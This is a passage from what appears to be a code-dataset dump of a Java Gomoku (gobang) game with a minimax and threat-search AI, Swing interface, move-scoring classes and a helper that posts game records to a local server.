branch_name
stringclasses 149
values | text
stringlengths 23
89.3M
| directory_id
stringlengths 40
40
| languages
listlengths 1
19
| num_files
int64 1
11.8k
| repo_language
stringclasses 38
values | repo_name
stringlengths 6
114
| revision_id
stringlengths 40
40
| snapshot_id
stringlengths 40
40
|
|---|---|---|---|---|---|---|---|---|
refs/heads/master
|
<file_sep>package com.zylear.gobangai.core.robot;
import com.zylear.gobangai.bean.Point;
public interface GobangRobot {
String key();
Point think(int[][] tryChess, int gameDepth, int executeDepth, int calculateColor);
}
<file_sep>package com.zylear.gobangai.ui;
import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
@SuppressWarnings("serial")
public class GobangJFrame extends JFrame {
public GobangPanel start = new GobangPanel();
public GobangJFrame(String str) {
super(str);
Container con = new Container();
this.setContentPane(con);
con.setLayout(new BorderLayout());
JPanel cpanel = new JPanel();
cpanel.setLayout(new FlowLayout());
con.add(cpanel, BorderLayout.SOUTH);
con.add(start);
setBounds(700, 150, 555, 680);
this.setResizable(false);
final JButton btn1 = new JButton("重新开始");
final JButton btn2 = new JButton("悔 棋");
final JButton btn3 = new JButton("退出游戏");
cpanel.add(btn1);
cpanel.add(btn2);
cpanel.add(btn3);
//pack();
JMenu menu = new JMenu("游戏");
JMenu menu2 = new JMenu("设置");
final JMenuItem item1 = new JMenuItem("重新开始");
final JMenuItem item2 = new JMenuItem("悔 棋");
final JMenuItem item3 = new JMenuItem("退出游戏");
final JMenuItem item4 = new JMenuItem("设置背景");
final JMenuItem item5 = new JMenuItem("关闭背景");
final JMenuItem item10 = new JMenuItem("电脑先走");
final JMenuItem item7 = new JMenuItem("v1");
final JMenuItem item8 = new JMenuItem("v2");
final JMenuItem item9 = new JMenuItem("v3");
final JMenuItem item14 = new JMenuItem("v4");
final JMenuItem item11 = new JMenuItem("博弈3层");
final JMenuItem item12 = new JMenuItem("博弈5层");
final JMenuItem item13 = new JMenuItem("博弈7层");
final JMenuItem item15 = new JMenuItem("博弈9层");
final JMenuItem item21 = new JMenuItem("算杀13层");
final JMenuItem item22 = new JMenuItem("算杀15层");
final JMenuItem item23 = new JMenuItem("算杀17层");
final JMenuItem item25 = new JMenuItem("算杀19层");
JMenuItem item6 = new JMenuItem("设 置");
menu.add(item1);
menu.add(item2);
menu.add(item3);
//menu.add(item6);
//
// menu2.add(item4);
// menu2.add(item5);
// menu2.add(item7);
// menu2.add(item8);
// menu2.add(item9);
// menu2.add(item10);
menu2.add(item11);
menu2.add(item12);
menu2.add(item13);
menu2.add(item15);
// menu2.add(item14);
//
JMenuBar menubar = new JMenuBar();
menubar.add(menu);
menubar.add(menu2);
setJMenuBar(menubar);
menubar.setVisible(true);
class MyEvent implements ActionListener {
@Override
public void actionPerformed(ActionEvent e) {
Object obj = e.getSource();//获得事件源
if (obj == btn1 || obj == item1) {
//重新开始
//JFiveFrame.this内部类引用外部类
//System.out.println("重新开始");
start.restart();
start.repaint();
} else if (obj == btn2 || obj == item2) {
// System.out.println("悔棋...");
// JOptionPane.showMessageDialog(start, "不想给你悔棋");
start.goBack();
} else if (obj == btn3 || obj == item3) {
System.exit(0);
} else if (obj == item4) {
start.paint = true;
start.repaint();
} else if (obj == item5) {
start.paint = false;
start.repaint();
} else if (obj == item7) {
start.changeStrategy(1);
} else if (obj == item8) {
start.changeStrategy(2);
} else if (obj == item9) {
start.changeStrategy(3);
} else if (obj == item14) {
start.changeStrategy(4);
} else if (obj == item10) {
start.changeComputerFirst();
} else if (obj == item11) {
start.changeGameDepth(3);
} else if (obj == item12) {
start.changeGameDepth(5);
} else if (obj == item13) {
start.changeGameDepth(7);
} else if (obj == item15) {
start.changeGameDepth(9);
} else if (obj == item21) {
start.changeExecuteDepth(13);
} else if (obj == item22) {
start.changeExecuteDepth(15);
} else if (obj == item23) {
start.changeExecuteDepth(17);
} else if (obj == item25) {
start.changeExecuteDepth(19);
}
}
}
MyEvent my = new MyEvent();
item1.addActionListener(my);
item2.addActionListener(my);
item3.addActionListener(my);
item4.addActionListener(my);
item5.addActionListener(my);
item7.addActionListener(my);
item8.addActionListener(my);
item9.addActionListener(my);
item10.addActionListener(my);
item11.addActionListener(my);
item12.addActionListener(my);
item13.addActionListener(my);
item14.addActionListener(my);
item21.addActionListener(my);
item22.addActionListener(my);
item23.addActionListener(my);
item25.addActionListener(my);
btn1.addActionListener(my);
btn2.addActionListener(my);
btn3.addActionListener(my);
}
// java.net.URL file1 = getClass().getResource("d:java\\woke\\音乐\\Ring03.wav");
public static void main(String[] args) {
// TODO Auto-generated method stub
EventQueue.invokeLater(new Runnable() {
@Override
public void run() {
try {
GobangJFrame frm = new GobangJFrame("五子棋游戏");
frm.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
}
<file_sep># gobang-ai
gobang-ai
<file_sep>package com.zylear.gobangai.util;
import okhttp3.*;
import java.io.IOException;
import java.util.concurrent.TimeUnit;
/**
* Created by xiezongyu on 2018/8/12.
*/
public class OkHttpUtil {
public static Response syncExecJsonPost(String url, String jsonString) throws IOException {
OkHttpClient okHttpClient = new OkHttpClient.Builder()
.connectTimeout(10, TimeUnit.SECONDS)
.writeTimeout(10, TimeUnit.SECONDS)
.readTimeout(20, TimeUnit.SECONDS)
.build();
//MediaType 设置Content-Type 标头中包含的媒体类型值
RequestBody requestBody = FormBody.create(MediaType.parse("application/json; charset=utf-8")
, jsonString);
Request request = new Request.Builder()
.url(url)//请求的url
.post(requestBody)
.build();
//创建/Call
Call call = okHttpClient.newCall(request);
return call.execute();
}
}
<file_sep>package com.zylear.gobangai.cache;
import com.zylear.gobangai.bean.Point;
import java.util.BitSet;
import java.util.HashMap;
import java.util.Map;
/**
* Created by xiezongyu on 2018/9/11.
*/
public class GobangCache {
public static Map<String, Point> gobangOptimizeMap = new HashMap<>(10000000);
public static Map<BitSet, Integer> scoreCache = new HashMap<>(10000000);
}
<file_sep>package com.zylear.gobangai.core.nextpoint;
import com.zylear.gobangai.bean.NextPointHuntBean;
/**
* @author xiezongyu
* @date 2021/6/23
*/
public interface NextPointHunter {
// Point[] getTryPoints(int[][] tryChess, int color);
NextPointHuntBean getNextPointList(int[][] tryChess, int color);
}
<file_sep>package com.zylear.gobangai.core.calculator;
import com.zylear.gobangai.bean.Point;
public interface MinMaxCalculator {
int calculate(int[][] tryChess, int depth, int maxDepth, int alpha, int beta, int calculateColor);
Point getBestPoint(int[][] tryChess, int maxDepth, int calculateColor);
}
<file_sep>package com.zylear.gobangai.bean;
/**
* Created by xiezongyu on 2018/9/7.
*/
public class GobangConstants {
public static final Integer WIN_SCORE = 10000000;
public static final Integer LOSE_SCORE = -10000000;
public static final Integer LOSE_SCORE_SIGN = -8000000;
public static final Integer FIFTEEN = 15;
public static final int ROWS = 14;//棋盘行数
public static final int COLS = 14;//棋盘列数
public static final Integer ALPHA = Integer.MIN_VALUE;
public static final Integer BETA = Integer.MAX_VALUE;
public static final int WHITE = 1;
public static final int BLACK = -1;
public static final int[][] DERECTIONS = {
{1, 1}, {1, -1}, {1, 0}, {0, 1}
};
}
<file_sep>package com.zylear.gobangai.core;
/**
* @author xiezongyu
* @date 2021/6/25
*/
public class GobangStatistic {
public static Long calculateCount = 0L;
public static Long hitCacheCount = 0L;
public static void init() {
calculateCount = 0L;
hitCacheCount = 0L;
}
}
<file_sep>package com.zylear.gobangai.core.score.nextpoint;
public interface NextPointScoreCalculator {
int getNextPointScore(int[][] tryChess, int x, int y, int color);
}
<file_sep>package com.zylear.gobangai.core.score.nextpoint.execute;
import com.zylear.gobangai.bean.GobangConstants;
import com.zylear.gobangai.core.GobangOperation;
import com.zylear.gobangai.core.score.nextpoint.NextPointScoreCalculatorBase;
/**
* @author xiezongyu
* @date 2021/6/24
*/
public class ExecuteNextPointScoreCalculator extends NextPointScoreCalculatorBase {
@Override
protected int postProcessScore(int score) {
return score < 6 ? 0 : score;
}
/**
* 算杀遍历八个方向
*
* @param tryChess
* @param xIndex
* @param yIndex
* @param xDirection
* @param yDirection
* @param calculateColor
* @return
*/
@Override
protected int getScore(int[][] tryChess, int xIndex, int yIndex, int xDirection, int yDirection, int calculateColor) {
int max = Integer.MIN_VALUE;
int score = getNextScore(tryChess, xIndex, yIndex, xDirection, yDirection, calculateColor);
if (score > max) {
max = score;
}
score = getNextScore(tryChess, xIndex, yIndex, -xDirection, -yDirection, calculateColor);
if (score > max) {
max = score;
}
return max;
}
protected int getNextScore(int[][] tryChess, int xIndex, int yIndex, int xDirection, int yDirection, int calculateColor) {
int x;
int y;
//连续棋子的个数
int count = 0;
//在跳空前的数量
int score;
int blockCount = 0;
boolean continuous = true;
int countBeforeJump = 0;
int countAfterJump = 0;
for (x = xIndex + xDirection, y = yIndex + yDirection;
x >= 0 && x < GobangConstants.FIFTEEN && y >= 0 && y < GobangConstants.FIFTEEN;
x = x + xDirection, y = y + yDirection) {
if (tryChess[x][y] == calculateColor) {
count++;
countBeforeJump++;
} else {
if (tryChess[x][y] != 0) {
blockCount++;
}
break;
}
}
if (!GobangOperation.isInside(x, y)) {
blockCount++;
}
for (x = xIndex - xDirection, y = yIndex - yDirection;
x >= 0 && x < GobangConstants.FIFTEEN && y >= 0 && y < GobangConstants.FIFTEEN;
x = x - xDirection, y = y - yDirection) {
if (tryChess[x][y] == calculateColor) {
count++;
if (continuous) {
countBeforeJump++;
}else {
countAfterJump++;
}
} else {
if (continuous && tryChess[x][y] == 0
&& GobangOperation.isInside(x - xDirection, y - yDirection)
&& tryChess[x - xDirection][y - yDirection] == calculateColor) {
continuous = false;
continue;
}
if (tryChess[x][y] != 0) {
blockCount++;
}
break;
}
}
if (!GobangOperation.isInside(x, y)) {
blockCount++;
}
score = getExecuteTryPointScore(count, continuous, blockCount, countBeforeJump, countAfterJump);
return score;
}
private int getExecuteTryPointScore(int count, boolean continuous, int blockCount, int countBeforeJump, int countAfterJump) {
switch (count) {
case 0:
return 0;
case 1:
if (blockCount == 2) {
return 0;
}
if (blockCount == 1) {
return 2;
}
if (blockCount == 0) {
return 4;
}
case 2:
if (continuous) {
if (blockCount == 2) {
return 0;
}
if (blockCount == 1) {
return 4;
}
if (blockCount == 0) {
return 6;
}
} else {
if (blockCount == 2) {
return 0;
}
if (blockCount == 1) {
return 4;
}
if (blockCount == 0) {
return 6;
}
}
case 3:
if (continuous) {
if (blockCount == 2) {
return 0;
}
if (blockCount == 1) {
return 6;
}
if (blockCount == 0) {
return 8;
}
} else {
return 6;
}
//case 4
default:
if (continuous) {
return 10;
} else {
if (countBeforeJump >= 4 || countAfterJump >= 5) {
return 10;
} else {
return 8;
}
}
}
}
}
<file_sep>package com.zylear.gobangai.core.score;
public interface ScoreCalculator {
int getChessScore(int[][] tryChess, int calculateColor);
}
<file_sep>package com.zylear.gobangai.core.nextpoint;
import com.zylear.gobangai.bean.Point;
import com.zylear.gobangai.bean.GobangConstants;
import com.zylear.gobangai.bean.NextPointHuntBean;
import com.zylear.gobangai.core.GobangOperation;
import com.zylear.gobangai.core.score.nextpoint.NextPointScoreCalculator;
import java.util.LinkedList;
/**
* @author xiezongyu
* @date 2021/6/23
*/
public class MinMaxNextPointHunter implements NextPointHunter {
private static final Integer SCAN_RANGE = 2;
private final NextPointScoreCalculator nextPointScoreCalculator;
public MinMaxNextPointHunter(NextPointScoreCalculator nextPointScoreCalculator) {
this.nextPointScoreCalculator = nextPointScoreCalculator;
}
@Override
public NextPointHuntBean getNextPointList(int[][] tryChess, int color) {
NextPointHuntBean huntBean = new NextPointHuntBean();
LinkedList<Point> list = new LinkedList<>();
huntBean.points = list;
// int count = getChessCount(tryChess);
// if (count < (GobangConstants.FIFTEEN * GobangConstants.FIFTEEN) / 2) {
findNextPointV2(tryChess, color, huntBean);
// }else {
// findNextPoint(tryChess, color, huntBean);
// }
if (huntBean.max == 10) {
huntBean.canwin = true;
huntBean.points = huntBean.points.subList(0, 1);
} else if (huntBean.max >= 8) {
huntBean.points = huntBean.points.subList(0, 1);
} else {
list.sort((o1, o2) -> Integer.compare(o2.score, o1.score));
}
return huntBean;
}
private int getChessCount(int[][] tryChess) {
int count = 0;
for (int x = 0; x < GobangConstants.FIFTEEN; x++) {
for (int y = 0; y < GobangConstants.FIFTEEN; y++) {
if (tryChess[x][y] != 0) {
count++;
}
}
}
return count;
}
private void findNextPointV2(int[][] tryChess, int color, NextPointHuntBean huntBean) {
LinkedList<Point> list = (LinkedList<Point>) huntBean.points;
int[][] handled = new int[15][15];
outer:
for (int x = 0; x < GobangConstants.FIFTEEN; x++) {
for (int y = 0; y < GobangConstants.FIFTEEN; y++) {
if (tryChess[x][y] != 0) {
for (int i = -SCAN_RANGE; i <= SCAN_RANGE; i++) {
for (int j = -SCAN_RANGE; j <= SCAN_RANGE; j++) {
if ((Math.abs(i) == 1 && Math.abs(j) == 2)
|| (Math.abs(i) == 2 && Math.abs(j) == 1)) {
continue;
}
int xIndex = x + i;
int yIndex = y + j;
if (GobangOperation.isInside(xIndex, yIndex)
&& handled[xIndex][yIndex] == 0
&& tryChess[xIndex][yIndex] == 0) {
handled[xIndex][yIndex] = 1;
int score = nextPointScoreCalculator.getNextPointScore(tryChess, xIndex, yIndex, color);
if (score <= 0) {
continue;
}
Point point = new Point(xIndex, yIndex);
point.chessColor = color;
point.score = score;
if (huntBean.max < score) {
huntBean.max = score;
list.addFirst(point);
} else {
list.addLast(point);
}
if (score == 10) {
break outer;
}
}
}
}
}
}
}
}
// private void findNextPoint(int[][] tryChess, int color, NextPointHuntBean huntBean) {
// LinkedList<Point> list = (LinkedList<Point>) huntBean.points;
//
// outer:
// for (int x = 0; x < GobangConstants.FIFTEEN; x++) {
// for (int y = 0; y < GobangConstants.FIFTEEN; y++) {
// if (tryChess[x][y] == 0) {
//
// loop:
// for (int i = -SCAN_RANGE; i <= SCAN_RANGE; i++) {
// for (int j = -SCAN_RANGE; j <= SCAN_RANGE; j++) {
//
// int xIndex = x + i;
// int yIndex = y + j;
// if (GobangOperation.isInside(xIndex, yIndex) && tryChess[xIndex][yIndex] != 0) {
// int score = nextPointScoreCalculator.getNextPointScore(tryChess, x, y, color);
//
// if (score < 0) {
// continue;
// }
//
// Point point = new Point(x, y);
// point.score = score;
// if (huntBean.max < score) {
// huntBean.max = score;
// list.addFirst(point);
// } else {
// list.addLast(point);
// }
// if (score == 10) {
// break outer;
// }
// break loop;
// }
// }
// }
// }
// }
// }
// }
}
<file_sep>package com.zylear.gobangai.core.score.nextpoint.chess;
import com.zylear.gobangai.bean.GobangConstants;
import com.zylear.gobangai.core.GobangOperation;
import com.zylear.gobangai.core.score.nextpoint.NextPointScoreCalculatorBase;
/**
* @author xiezongyu
* @date 2021/6/24
*/
public class GobangNextPointScoreCalculator extends NextPointScoreCalculatorBase {
// @Override
// protected boolean preCalculateScore(int[][] tryChess, int xIndex, int yIndex, int xDirection, int yDirection, int calculateColor) {
// return true;
// }
@Override
protected int getScore(int[][] tryChess, int xIndex, int yIndex, int xDirection, int yDirection, int calculateColor) {
int continueCount = 0;
int blockCount = 0;
int opponentColor = -calculateColor;
int x;
int y;
for (x = xIndex + xDirection, y = yIndex + yDirection;
x >= 0 && x <= GobangConstants.COLS && y >= 0 && y <= GobangConstants.COLS;
x = x + xDirection, y = y + yDirection) {
if (tryChess[x][y] == calculateColor) {
continueCount++;
} else {
if (tryChess[x][y] == opponentColor) {
blockCount++;
}
break;
}
}
if (!GobangOperation.isInside(x, y)) {
blockCount++;
}
for (x = xIndex - xDirection, y = yIndex - yDirection;
x >= 0 && x <= GobangConstants.COLS && y >= 0 && y <= GobangConstants.COLS;
x = x - xDirection, y = y - yDirection) {
if (tryChess[x][y] == calculateColor) {
continueCount++;
} else {
if (tryChess[x][y] == opponentColor) {
blockCount++;
}
break;
}
}
if (!GobangOperation.isInside(x, y)) {
blockCount++;
}
int score;
//计算自己的颜色
score = getMyTryScore(continueCount, blockCount);
return score;
}
private int getMyTryScore(int score, int blockCount) {
switch (score) {
case 0:
return 0;
case 1:
if (blockCount == 2) {
return 0;
}
if (blockCount == 1) {
return 2;
}
if (blockCount == 0) {
return 4;
}
case 2:
if (blockCount == 2) {
return 0;
}
if (blockCount == 1) {
return 4;
}
if (blockCount == 0) {
return 6;
}
case 3:
if (blockCount == 2) {
return 0;
}
if (blockCount == 1) {
return 6;
}
if (blockCount == 0) {
return 8;
}
//case 4
default:
return 10;
}
}
@Override
protected int postProcessScore(int score) {
return score;
}
}
<file_sep>package com.zylear.gobangai.ui;
import com.zylear.gobangai.bean.Point;
import com.zylear.gobangai.bean.GobangConstants;
import com.zylear.gobangai.bean.RecordPoint;
import com.zylear.gobangai.bean.network.GobangOptimize;
import com.zylear.gobangai.bean.network.GobangResponse;
import com.zylear.gobangai.cache.GobangCache;
import com.zylear.gobangai.core.*;
import com.zylear.gobangai.util.JsonUtil;
import com.zylear.gobangai.util.OkHttpUtil;
import okhttp3.Response;
import javax.swing.*;
import java.awt.*;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
import java.awt.event.MouseMotionListener;
import java.awt.geom.Ellipse2D;
import java.io.IOException;
import java.util.*;
import java.util.List;
@SuppressWarnings("serial")
public class GobangPanel extends JPanel implements MouseListener {
// private List<BestPoint> bestPoints;
public void changeComputerFirst() {
isComputerFirst = !isComputerFirst;
System.out.println("current computerFirst: " + isComputerFirst);
}
public void changeGameDepth(int value) {
gameDepth = value;
System.out.println("current gameDepth: " + gameDepth);
}
public void changeExecuteDepth(int value) {
executeDepth = value;
System.out.println("current executeDepth: " + executeDepth);
}
public static class BestPoint {
public BestPoint() {
}
public int x;
public int y;
public int score;
public BestPoint(int x, int y, int score) {
this.x = x;
this.y = y;
this.score = score;
}
@Override
public String toString() {
return "BestPoint{" +
"x=" + x +
", y=" + y +
", score=" + score +
'}';
}
}
double time;
public int fx = 0, fy = 0;
public static final int MARGIN = 30;//边距
public static final int GRID_SPAN = 35;//网格间距
public static final int ROWS = 14;//棋盘行数
public static final int COLS = 14;//棋盘列数
public static final int FIFTEEN = 15;
public int gameDepth = 9;
public int executeDepth = 13;
public boolean gamestart = false;
boolean isVisual = false;
private int Deadline = 60000;
private double currentime;
public boolean isComputerFirst = true;
private List<RecordPoint> recordPoints = new ArrayList<>(128);
private int highScore;
private int strategy = 5;
int begin = 1;
Point[] chessList = new Point[(ROWS + 1) * (COLS + 1)];//初始每个数组元素为null
int[][] tryChess = new int[15][15];
JLabel noti = new JLabel("通知");
private boolean pressMark = false;
boolean isBlack = true;//默认开始是黑棋先
boolean gameOver = false;//游戏是否结束
int chessCount = 0;//当前棋盘棋子的个数
int xIndex, yIndex;//当前刚下棋子的索引
int x1, x2, y1, y2;
boolean judgeWin; //判断输赢
boolean paint = false;
public static final int WHITE = 1;
public static final int BLACK = -1;
int computerColor = BLACK;
Image img;
Image shadows;
Color colortemp;
public void changeStrategy(int value) {
System.out.println("change strategy: " + value);
this.strategy = value;
}
private int[][] allChess = new int[15][15];
public GobangPanel() {
noti.setFont(new Font("宋体", Font.PLAIN, 20));
Point ch = new Point(7, 7, Color.white);
// chessList[0]=ch;
// setBackground(Color.blue);//设置背景色为橘黄色
// img=Toolkit.getDefaultToolkit().getImage("board.jpg");
// shadows=Toolkit.getDefaultToolkit().getImage("shadows.jpg");
this.setLayout(null);
// this.add(noti,new BorderLayout().SOUTH);
this.add(noti);
noti.setBounds(210, 530, 200, 50);
// noti.setVisible(false);
addMouseListener(this);
noti.setVisible(true);
addMouseMotionListener(new MouseMotionListener() {
@Override
public void mouseDragged(MouseEvent e) {
}
@Override
public void mouseMoved(MouseEvent e) {
int x1 = (e.getX() - MARGIN + GRID_SPAN / 2) / GRID_SPAN;
//将鼠标点击的坐标位置转成网格索引
int y1 = (e.getY() - MARGIN + GRID_SPAN / 2) / GRID_SPAN;
//游戏已经结束不能下
//落在棋盘外不能下
//x,y位置已经有棋子存在,不能下
if (x1 < 0 || x1 > ROWS || y1 < 0 || y1 > COLS || gameOver || findChess(x1, y1)) {
setCursor(new Cursor(Cursor.DEFAULT_CURSOR));
}
//设置成默认状态
else {
setCursor(new Cursor(Cursor.HAND_CURSOR));
}
}
});
restart(); //默认 电脑先走
}
protected boolean findChess(int x1, int y1) {
for (Point c : chessList) {
if (c != null && x1 == c.getX() && y1 == c.getY()) {
return true;
}
}
return false;
}
protected boolean getChess(int x, int y, Color c) {
for (Point p : chessList) {
if (p != null && p.getX() == x && p.getY() == y && p.getColor() == c) {
return true;
}
}
return false;
}
protected boolean isNull(int x, int y) {
if (getChess(x, y, Color.black) || (getChess(x, y, Color.white))) {
return false;
}
return true;
}
public void restart() {
// syncChessInfo();
for (int a = 0; a < chessList.length; a++) {
chessList[a] = null;
}
recordPoints.clear();
if (isComputerFirst) {
allChess = new int[15][15];
chessCount = 1;
Point ch = new Point(7, 7, Color.black);
chessList[0] = ch;
allChess[7][7] = BLACK;
isBlack = false;
computerColor = BLACK;
} else {
allChess = new int[15][15];
chessCount = 0;
isBlack = true;
computerColor = WHITE;
}
gameOver = false;
judgeWin = false;
begin = 1;
}
private void syncChessInfo() {
try {
Response response = OkHttpUtil.syncExecJsonPost("http://127.0.0.1/publish/admin/gobang/all-record", "");
// System.out.println("response : " + response.body().string());
GobangResponse records = JsonUtil.getObjectFromJson(response.body().string(), GobangResponse.class);
HashMap<String, Point> map = new HashMap<>(records.getList().size());
for (GobangOptimize gobangOptimize : records.getList()) {
Point bestPoint = new Point();
bestPoint.x = gobangOptimize.getX();
bestPoint.y = gobangOptimize.getY();
bestPoint.score = gobangOptimize.getScore();
map.put(gobangOptimize.getAllChess(), bestPoint);
}
GobangCache.gobangOptimizeMap = map;
response.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public void goBack() {
if (chessCount == 0) {
return;
}
chessList[chessCount - 1] = null;
chessCount--;
isBlack = !isBlack;
repaint();
}
@Override
public void mouseClicked(MouseEvent e) {
}
@Override
public void mouseEntered(MouseEvent e) {
//if(isVisual)
//noti.setVisible(true);
}
@Override
public void mouseExited(MouseEvent e) {
// TODO Auto-generated method stub
}
@Override
public void mousePressed(MouseEvent e) {
// xIndex=(e.getX()-MARGIN+GRID_SPAN/2)/GRID_SPAN;
// yIndex=(e.getY()-MARGIN+GRID_SPAN/2)/GRID_SPAN;
//
// //落在棋盘外不能下
// if(xIndex<0||xIndex>ROWS||yIndex<0||yIndex>COLS)
// return;
// // noti.setVisible(true);
// noti.setText("电脑正在思考.....");
if (pressMark) {
return;
}
pressMark = true;
// isVisual=true;
//将鼠标点击的坐标位置转换成网格索引
xIndex = (e.getX() - MARGIN + GRID_SPAN / 2) / GRID_SPAN;
yIndex = (e.getY() - MARGIN + GRID_SPAN / 2) / GRID_SPAN;
//落在棋盘外不能下
if (xIndex < 0 || xIndex > ROWS || yIndex < 0 || yIndex > COLS) {
pressMark = false;
return;
}
//如果x,y位置已经有棋子存在,不能下
if (findChess(xIndex, yIndex)) {
pressMark = false;
return;
}
//可以进行时的处理
Point ch = new Point(xIndex, yIndex, isBlack ? Color.black : Color.white);
chessList[chessCount++] = ch;
int color = isBlack ? BLACK : WHITE;
allChess[xIndex][yIndex] = color;
boolean judgeWin = GobangJudge.isWin(allChess, xIndex, yIndex, color);
//如果胜出则给出提示信息,不能继续下棋
handleWin(judgeWin, isBlack);
if (judgeWin) {
System.out.println("return win");
return;
}
// string1+="1";
noti.setText("电脑正在思考.....");
repaint();
new Thread(new Runnable() {
@Override
public void run() {
GobangPanel.this.myPress();
}
}).start();
}
@Override
public void mouseReleased(MouseEvent arg0) {
}
@Override
public void paintComponent(Graphics g) {
super.paintComponent(g);//画棋盘
ImageIcon ii = null;
ii = new ImageIcon(/*"d:\\java\\图像\\first.jpg"*/);
Image io = ii.getImage();
if (paint) {
g.drawImage(io, 0, 0, 585, 585, this);
}
// this.setBackground(Color.ORANGE);//LIGHT_GRAY
for (int i = 0; i <= ROWS; i++) {//画横线
g.drawLine(MARGIN, MARGIN + i * GRID_SPAN, MARGIN + COLS * GRID_SPAN, MARGIN + i * GRID_SPAN);
}
for (int i = 0; i <= COLS; i++) {//画竖线
g.drawLine(MARGIN + i * GRID_SPAN, MARGIN, MARGIN + i * GRID_SPAN, MARGIN + ROWS * GRID_SPAN);
}
//画棋子
for (int i = 0; i < chessCount; i++) {
//网格交叉点x,y坐标
int xPos = chessList[i].getX() * GRID_SPAN + MARGIN;
int yPos = chessList[i].getY() * GRID_SPAN + MARGIN;
g.setColor(chessList[i].getColor());//设置颜色
// g.fillOval(xPos-Point.DIAMETER/2, yPos-Point.DIAMETER/2,
//Point.DIAMETER, Point.DIAMETER);
//g.drawImage(shadows, xPos-Point.DIAMETER/2, yPos-Point.DIAMETER/2, Point.DIAMETER, Point.DIAMETER, null);
colortemp = chessList[i].getColor();
if (colortemp == Color.black) {
RadialGradientPaint paint = new RadialGradientPaint(xPos - Point.DIAMETER / 2 + 25, yPos - Point.DIAMETER / 2 + 10, 20, new float[]{0f, 1f}
, new Color[]{Color.WHITE, Color.BLACK});
((Graphics2D) g).setPaint(paint);
((Graphics2D) g).setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON);
((Graphics2D) g).setRenderingHint(RenderingHints.KEY_ALPHA_INTERPOLATION, RenderingHints.VALUE_ALPHA_INTERPOLATION_DEFAULT);
} else if (colortemp == Color.white) {
RadialGradientPaint paint = new RadialGradientPaint(xPos - Point.DIAMETER / 2 + 25, yPos - Point.DIAMETER / 2 + 10, 70, new float[]{0f, 1f}
, new Color[]{Color.WHITE, Color.BLACK});
((Graphics2D) g).setPaint(paint);
((Graphics2D) g).setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON);
((Graphics2D) g).setRenderingHint(RenderingHints.KEY_ALPHA_INTERPOLATION, RenderingHints.VALUE_ALPHA_INTERPOLATION_DEFAULT);
}
Ellipse2D e = new Ellipse2D.Float(xPos - Point.DIAMETER / 2, yPos - Point.DIAMETER / 2, 34, 35);
((Graphics2D) g).fill(e);
//标记最后一个棋子的红矩形框
if (i == chessCount - 1) {//如果是最后一个棋子
g.setColor(Color.red);
g.drawRect(xPos - Point.DIAMETER / 2, yPos - Point.DIAMETER / 2,
34, 35);
}
// if (judgeWin) {
// g.setColor(Color.red);
// g.drawLine(x1 * 35 + 30, y1 * 35 + 30, x2 * 35 + 30, y2 * 35 + 30);
// g.drawLine(x1 * 35 + 30 + 1, y1 * 35 + 30, x2 * 35 + 30 + 1, y2 * 35 + 30);
// g.drawLine(x1 * 35 + 30 - 1, y1 * 35 + 30, x2 * 35 + 30 - 1, y2 * 35 + 30);
// g.drawLine(x1 * 35 + 30, y1 * 35 + 30 + 1, x2 * 35 + 30, y2 * 35 + 30 + 1);
// g.drawLine(x1 * 35 + 30, y1 * 35 + 30 - 1, x2 * 35 + 30, y2 * 35 + 30 - 1);
// }
}
}
public void myPress() {
pressMark = true;
String info;
Point ch;
String colorName = null;
for (int x = 0; x < FIFTEEN; x++) {
for (int y = 0; y < FIFTEEN; y++) {
tryChess[x][y] = 0;
}
}
isBlack = !isBlack;
int color;
if (begin == 1) {
color = isBlack ? BLACK : WHITE;
if (isNull(chessList[0].x - 1, chessList[0].y - 1)) {
allChess[chessList[0].x - 1][chessList[0].y - 1] = color;
ch = new Point(chessList[0].x - 1, chessList[0].y - 1, isBlack ? Color.black : Color.white);
} else {
ch = new Point(chessList[0].x - 1, chessList[0].y + 1, isBlack ? Color.black : Color.white);
allChess[chessList[0].x - 1][chessList[0].y + 1] = color;
}
chessList[chessCount++] = ch;
begin--;
noti.setText("用时:0.001秒");
} else {
for (int i = 0; i < chessCount; i++) {
if (chessList[i].getColor() == Color.white) {
tryChess[chessList[i].getX()][chessList[i].getY()] = 1;
} else {
tryChess[chessList[i].getX()][chessList[i].getY()] = -1;
}
}
Point bestPoint;
long currentTime = System.currentTimeMillis();
System.out.println();
System.out.println("电脑正在思考.....");
bestPoint = calculate();
RecordPoint recordPoint = formRecordPoint(bestPoint, GobangOperation.getUniqueKeyV3(allChess));
recordPoints.add(recordPoint);
// submit(recordPoint);
// bestPoint = GobangCore.calculate(tryChess, gameDepth, executeDepth, computerColor);
time = (System.currentTimeMillis() - currentTime);
System.out.println("用时:" + time / 1000.0 + "秒");
noti.setText("用时:" + time / 1000.0 + "秒");
fx = bestPoint.x;
fy = bestPoint.y;
xIndex = fx;
yIndex = fy;
ch = new Point(xIndex, yIndex, isBlack ? Color.black : Color.white);
chessList[chessCount++] = ch;
color = isBlack ? BLACK : WHITE;
allChess[xIndex][yIndex] = color;
}
boolean judgeWin = GobangJudge.isWin(allChess, xIndex, yIndex, color);
repaint();
//如果胜出则给出提示信息,不能继续下棋
handleWin(judgeWin, isBlack);
isBlack = !isBlack;
pressMark = false;
//noti.setText("");
}
private RecordPoint formRecordPoint(Point bestPoint, String uniqueKeyV2) {
RecordPoint recordPoint = new RecordPoint();
recordPoint.x = bestPoint.x;
recordPoint.y = bestPoint.y;
recordPoint.score = bestPoint.score;
recordPoint.allChess = uniqueKeyV2;
return recordPoint;
}
private void submit(RecordPoint recordPoint) {
// bestPoints.add(bestPoint);
new Thread(new Runnable() {
@Override
public void run() {
GobangOptimize gobangOptimize = new GobangOptimize();
gobangOptimize.setAllChess(recordPoint.allChess);
gobangOptimize.setX(recordPoint.x);
gobangOptimize.setY(recordPoint.y);
gobangOptimize.setScore(recordPoint.score);
try {
Response response = OkHttpUtil.syncExecJsonPost("http://127.0.0.1/publish/admin/gobang/submit", JsonUtil.toJSONString(gobangOptimize));
System.out.println("response : " + response);
response.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}).start();
}
private Point calculate() {
switch (strategy) {
default:
